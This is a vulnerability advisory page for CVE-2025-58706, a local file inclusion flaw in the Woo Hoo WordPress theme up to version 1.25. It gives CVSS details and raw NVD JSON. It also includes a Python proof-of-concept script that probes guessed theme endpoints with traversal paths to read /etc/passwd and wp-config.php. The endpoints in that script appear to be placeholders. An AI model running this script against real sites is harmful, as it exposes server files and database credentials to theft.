Security Vulnerability Report
中文
CVE-2025-58706 CVSS 8.1 HIGH

CVE-2025-58706

Published: 2025-12-18 08:15:57
Last Modified: 2026-01-20 15:17:07

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Woo Hoo woohoo allows PHP Local File Inclusion.This issue affects Woo Hoo: from n/a through <= 1.25.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:woo_hoo:*:*:*:*:*:wordpress:*:* - VULNERABLE
Woo Hoo主题 <= 1.25

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-58706 PoC - Woo Hoo Theme Local File Inclusion # Target: WordPress site using Woo Hoo theme <= 1.25 def exploit_lfi(target_url, filename): """ Exploit Local File Inclusion vulnerability in Woo Hoo theme Args: target_url: Base URL of the vulnerable WordPress site filename: Local file path to read (e.g., ../../../../etc/passwd) """ # Common vulnerable endpoints in Woo Hoo theme vulnerable_paths = [ '/wp-content/themes/woohoo/functions.php', '/wp-content/themes/woohoo/includes/some-file.php' ] # File inclusion parameter names commonly used param_names = ['file', 'page', 'template', 'load', 'include'] print(f"[*] Testing LFI on {target_url}") print(f"[*] Attempting to read: {filename}") for path in vulnerable_paths: for param in param_names: try: url = target_url.rstrip('/') + path params = {param: filename} response = requests.get(url, params=params, timeout=10) if response.status_code == 200: if 'root:' in response.text or '<?xml' in response.text: print(f"[+] VULNERABLE! {path}?{param}={filename}") print("=" * 60) print(response.text[:1000]) return True except requests.RequestException as e: print(f"[-] Error: {e}") print("[-] No vulnerable endpoint found or file not accessible") return False # Example usage with common LFI targets if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-58706.py <target_url> [filename]") print("Example: python cve-2025-58706.py http://target.com ../../../../etc/passwd") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] if len(sys.argv) > 2 else '../../../wp-config.php' exploit_lfi(target, file_to_read)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58706", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:56.840", "lastModified": "2026-01-20T15:17:06.847", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Woo Hoo woohoo allows PHP Local File Inclusion.This issue affects Woo Hoo: from n/a through <= 1.25."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:woo_hoo:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.25", "matchCriteriaId": "E5531EBE-D3A7-439B-98CE-1DB4B4E5E61D"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/woohoo/vulnerability/wordpress-woo-hoo-theme-1-25-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}